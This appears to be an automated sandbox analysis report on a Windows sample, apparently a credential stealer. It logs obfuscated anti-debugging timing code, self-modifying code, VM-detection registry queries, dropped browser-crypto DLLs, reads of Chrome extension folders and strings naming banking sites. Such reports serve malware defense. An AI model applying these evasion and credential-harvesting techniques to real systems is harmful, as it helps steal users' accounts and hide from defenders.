Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1997F second address: A19983 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A19983 second address: A19989 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A19B81 second address: A19B87 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A19B87 second address: A19B8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5140E51 second address: 5140E55 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5140E55 second address: 5140E5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5140E5B second address: 5140E61 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5140E61 second address: 5140EB0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F29B51F62D6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F29B51F62CEh 0x00000013 add ecx, 4CAB6BE8h 0x00000019 jmp 00007F29B51F62CBh 0x0000001e popfd 0x0000001f mov esi, 69B837DFh 0x00000024 popad 0x00000025 mov ebp, esp 0x00000027 pushad 0x00000028 mov dl, ch 0x0000002a push eax 0x0000002b push edx 0x0000002c movsx ebx, si 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5140EB0 second address: 5140EE9 instructions: 0x00000000 rdtsc 0x00000002 mov esi, 076210EBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push dword ptr [ebp+04h] 0x0000000d jmp 00007F29B559C4BEh 0x00000012 push dword ptr [ebp+0Ch] 0x00000015 pushad 0x00000016 mov edi, ecx 0x00000018 call 00007F29B559C4BAh 0x0000001d mov esi, 37A5E7C1h 0x00000022 pop ecx 0x00000023 popad 0x00000024 push dword ptr [ebp+08h] 0x00000027 pushad 0x00000028 pushad 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5140F12 second address: 5140E51 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F29B51F62CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a jmp 00007F29B51F62D6h 0x0000000f retn 0008h 0x00000012 nop 0x00000013 mov dword ptr [008470C0h], eax 0x00000018 push 00591310h 0x0000001d mov ecx, dword ptr [008470A8h] 0x00000023 push ecx 0x00000024 call 00007F29B9DBCFF7h 0x00000029 mov edi, edi 0x0000002b jmp 00007F29B51F62D0h 0x00000030 xchg eax, ebp 0x00000031 pushad 0x00000032 jmp 00007F29B51F62CEh 0x00000037 mov si, BCD1h 0x0000003b popad 0x0000003c push eax 0x0000003d push eax 0x0000003e push edx 0x0000003f push eax 0x00000040 push edx 0x00000041 jmp 00007F29B51F62D9h 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51602BE second address: 51602C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51602C2 second address: 51602C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51602C6 second address: 51602CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51602CC second address: 51602D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51602D2 second address: 51602D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51602D6 second address: 516032B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 jmp 00007F29B51F62CDh 0x0000000e mov ebp, esp 0x00000010 pushad 0x00000011 pushad 0x00000012 mov ch, 86h 0x00000014 mov eax, ebx 0x00000016 popad 0x00000017 mov ecx, ebx 0x00000019 popad 0x0000001a push edx 0x0000001b pushad 0x0000001c mov esi, 7F0A8B8Fh 0x00000021 jmp 00007F29B51F62D4h 0x00000026 popad 0x00000027 mov dword ptr [esp], ecx 0x0000002a pushad 0x0000002b mov edx, esi 0x0000002d mov esi, 78520749h 0x00000032 popad 0x00000033 xchg eax, ecx 0x00000034 push eax 0x00000035 push edx 0x00000036 pushad 0x00000037 mov ax, dx 0x0000003a mov cx, di 0x0000003d popad 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 516032B second address: 5160375 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F29B559C4C6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F29B559C4BBh 0x0000000f xchg eax, ecx 0x00000010 jmp 00007F29B559C4C6h 0x00000015 push dword ptr [ebp+08h] 0x00000018 pushad 0x00000019 mov edi, eax 0x0000001b push eax 0x0000001c push edx 0x0000001d mov ecx, 54E2C41Fh 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5160375 second address: 5160379 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5160379 second address: 51603D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 lea eax, dword ptr [ebp-08h] 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F29B559C4BEh 0x00000011 add ax, B988h 0x00000016 jmp 00007F29B559C4BBh 0x0000001b popfd 0x0000001c pushfd 0x0000001d jmp 00007F29B559C4C8h 0x00000022 and al, FFFFFFE8h 0x00000025 jmp 00007F29B559C4BBh 0x0000002a popfd 0x0000002b popad 0x0000002c nop 0x0000002d pushad 0x0000002e push eax 0x0000002f push edx 0x00000030 mov ax, AD71h 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5160429 second address: 516042D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 516042D second address: 5160440 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F29B559C4BFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5160539 second address: 516053E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 516053E second address: 5160562 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F29B559C4C5h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov ebp, esp 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5160562 second address: 5160566 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5160566 second address: 516056A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 516056A second address: 5160570 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5160570 second address: 51605AE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F29B559C4C2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push 00000000h 0x0000000b jmp 00007F29B559C4C0h 0x00000010 push 00000000h 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 call 00007F29B559C4BDh 0x0000001a pop eax 0x0000001b mov esi, ebx 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51605AE second address: 5160608 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F29B51F62D8h 0x00000009 xor si, 55F8h 0x0000000e jmp 00007F29B51F62CBh 0x00000013 popfd 0x00000014 mov cx, CF2Fh 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b push dword ptr [ebp+1Ch] 0x0000001e jmp 00007F29B51F62D2h 0x00000023 push dword ptr [ebp+18h] 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a jmp 00007F29B51F62CAh 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5160608 second address: 516060C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 516060C second address: 5160612 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5160612 second address: 5160652 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F29B559C4BEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push dword ptr [ebp+14h] 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007F29B559C4BDh 0x00000015 adc ax, AEA6h 0x0000001a jmp 00007F29B559C4C1h 0x0000001f popfd 0x00000020 pushad 0x00000021 popad 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5160701 second address: 5160707 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5140956 second address: 5140998 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F29B559C4C7h 0x00000008 pop ecx 0x00000009 jmp 00007F29B559C4C9h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push 54A3BEC7h 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 movsx edi, si 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5140998 second address: 51409E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 add dword ptr [esp], 21865D61h 0x0000000c jmp 00007F29B51F62CCh 0x00000011 call 00007F2A262E9908h 0x00000016 push 762327D0h 0x0000001b push dword ptr fs:[00000000h] 0x00000022 mov eax, dword ptr [esp+10h] 0x00000026 mov dword ptr [esp+10h], ebp 0x0000002a lea ebp, dword ptr [esp+10h] 0x0000002e sub esp, eax 0x00000030 push ebx 0x00000031 push esi 0x00000032 push edi 0x00000033 mov eax, dword ptr [762C0140h] 0x00000038 xor dword ptr [ebp-04h], eax 0x0000003b xor eax, ebp 0x0000003d push eax 0x0000003e mov dword ptr [ebp-18h], esp 0x00000041 push dword ptr [ebp-08h] 0x00000044 mov eax, dword ptr [ebp-04h] 0x00000047 mov dword ptr [ebp-04h], FFFFFFFEh 0x0000004e mov dword ptr [ebp-08h], eax 0x00000051 lea eax, dword ptr [ebp-10h] 0x00000054 mov dword ptr fs:[00000000h], eax 0x0000005a ret 0x0000005b jmp 00007F29B51F62D0h 0x00000060 and dword ptr [ebp-04h], 00000000h 0x00000064 push eax 0x00000065 push edx 0x00000066 jmp 00007F29B51F62D7h 0x0000006b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51409E2 second address: 5140A08 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F29B559C4C9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov edx, dword ptr [ebp+0Ch] 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5140A08 second address: 5140A0C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5140A0C second address: 5140A12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5140A12 second address: 5140A5A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F29B51F62D0h 0x00000008 pop eax 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov esi, edx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 mov edi, ecx 0x00000015 pushfd 0x00000016 jmp 00007F29B51F62D4h 0x0000001b adc eax, 0EEFF4A8h 0x00000021 jmp 00007F29B51F62CBh 0x00000026 popfd 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5140A5A second address: 5140A60 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5140A60 second address: 5140A76 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov al, byte ptr [edx] 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F29B51F62CAh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5140A76 second address: 5140A7C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5140A7C second address: 5140A80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5140A80 second address: 5140ACB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 inc edx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007F29B559C4C2h 0x00000012 adc eax, 037E8968h 0x00000018 jmp 00007F29B559C4BBh 0x0000001d popfd 0x0000001e call 00007F29B559C4C8h 0x00000023 pop esi 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5140ACB second address: 5140A76 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, 359Dh 0x00000007 movzx ecx, dx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d test al, al 0x0000000f jmp 00007F29B51F62D5h 0x00000014 jne 00007F29B51F6239h 0x0000001a mov al, byte ptr [edx] 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007F29B51F62CAh 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5140B68 second address: 5140BAB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F29B559C4C0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 lea ebx, dword ptr [edi+01h] 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push edx 0x00000010 pop eax 0x00000011 pushfd 0x00000012 jmp 00007F29B559C4C9h 0x00000017 jmp 00007F29B559C4BBh 0x0000001c popfd 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5140BAB second address: 5140BC3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F29B51F62D4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5140BC3 second address: 5140BC7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5140BC7 second address: 5140BF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov al, byte ptr [edi+01h] 0x0000000b pushad 0x0000000c mov ebx, 3D445080h 0x00000011 mov dx, F4ACh 0x00000015 popad 0x00000016 inc edi 0x00000017 pushad 0x00000018 mov ebx, 7C582D44h 0x0000001d movsx edi, si 0x00000020 popad 0x00000021 test al, al 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007F29B51F62CBh 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5140BF7 second address: 5140C44 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F29B559C4C9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jne 00007F2A26684321h 0x0000000f jmp 00007F29B559C4BEh 0x00000014 mov ecx, edx 0x00000016 pushad 0x00000017 mov edx, ecx 0x00000019 call 00007F29B559C4BAh 0x0000001e mov edi, ecx 0x00000020 pop ecx 0x00000021 popad 0x00000022 shr ecx, 02h 0x00000025 push eax 0x00000026 push edx 0x00000027 pushad 0x00000028 mov ebx, eax 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5140C44 second address: 5140CC8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F29B51F62CEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rep movsd 0x0000000b rep movsd 0x0000000d rep movsd 0x0000000f rep movsd 0x00000011 rep movsd 0x00000013 pushad 0x00000014 push esi 0x00000015 pop esi 0x00000016 push edi 0x00000017 call 00007F29B51F62D4h 0x0000001c pop eax 0x0000001d pop ebx 0x0000001e popad 0x0000001f mov ecx, edx 0x00000021 pushad 0x00000022 call 00007F29B51F62CCh 0x00000027 mov cx, 1A51h 0x0000002b pop esi 0x0000002c pushfd 0x0000002d jmp 00007F29B51F62D7h 0x00000032 xor ax, EB3Eh 0x00000037 jmp 00007F29B51F62D9h 0x0000003c popfd 0x0000003d popad 0x0000003e and ecx, 03h 0x00000041 push eax 0x00000042 push edx 0x00000043 push eax 0x00000044 push edx 0x00000045 push eax 0x00000046 push edx 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5140CC8 second address: 5140CCC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5140CCC second address: 5140CD2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5140CD2 second address: 5140D3A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, eax 0x00000005 mov edx, esi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rep movsb 0x0000000c pushad 0x0000000d mov al, D2h 0x0000000f jmp 00007F29B559C4C1h 0x00000014 popad 0x00000015 mov dword ptr [ebp-04h], FFFFFFFEh 0x0000001c jmp 00007F29B559C4BEh 0x00000021 mov eax, ebx 0x00000023 jmp 00007F29B559C4C0h 0x00000028 mov ecx, dword ptr [ebp-10h] 0x0000002b jmp 00007F29B559C4C0h 0x00000030 mov dword ptr fs:[00000000h], ecx 0x00000037 push eax 0x00000038 push edx 0x00000039 pushad 0x0000003a push ebx 0x0000003b pop esi 0x0000003c popad 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5140D3A second address: 5140D72 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx esi, bx 0x00000006 call 00007F29B51F62CDh 0x0000000b pop ecx 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop ecx 0x00000010 pushad 0x00000011 mov bl, 4Eh 0x00000013 mov edi, esi 0x00000015 popad 0x00000016 pop edi 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F29B51F62D7h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5140D72 second address: 5140D95 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F29B559C4C9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d push esi 0x0000000e pop edi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5150188 second address: 515018E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 515018E second address: 5150192 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5150192 second address: 5150196 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 85DEAF instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 85DF91 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: A39C43 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: A9EF5E instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\chrome.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

API coverage: 0.8 %

Source: C:\Users\user\Desktop\file.exe TID: 5048	Thread sleep time: -32016s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6960	Thread sleep time: -32016s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5016	Thread sleep time: -44022s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 4592	Thread sleep time: -38019s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 3708	Thread sleep time: -34017s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CA3C930 GetSystemInfo,VirtualAlloc,GetSystemInfo,VirtualFree,VirtualAlloc,

0_2_6CA3C930

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Source: Web Data.8.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: file.exe, file.exe, 00000000.00000002.2635211885.00000000009ED000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: Web Data.8.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: Web Data.8.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: Web Data.8.dr	Binary or memory string: discord.comVMware20,11696487552f
Source: Web Data.8.dr	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: Web Data.8.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: file.exe, 00000000.00000002.2636219235.0000000001354000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2636219235.0000000001323000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Web Data.8.dr	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: msedge.exe, 00000007.00000003.2377726044.00006C9802524000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware20,1(
Source: Web Data.8.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: Web Data.8.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: Web Data.8.dr	Binary or memory string: global block list test formVMware20,11696487552
Source: Web Data.8.dr	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: Web Data.8.dr	Binary or memory string: AMC password management pageVMware20,11696487552
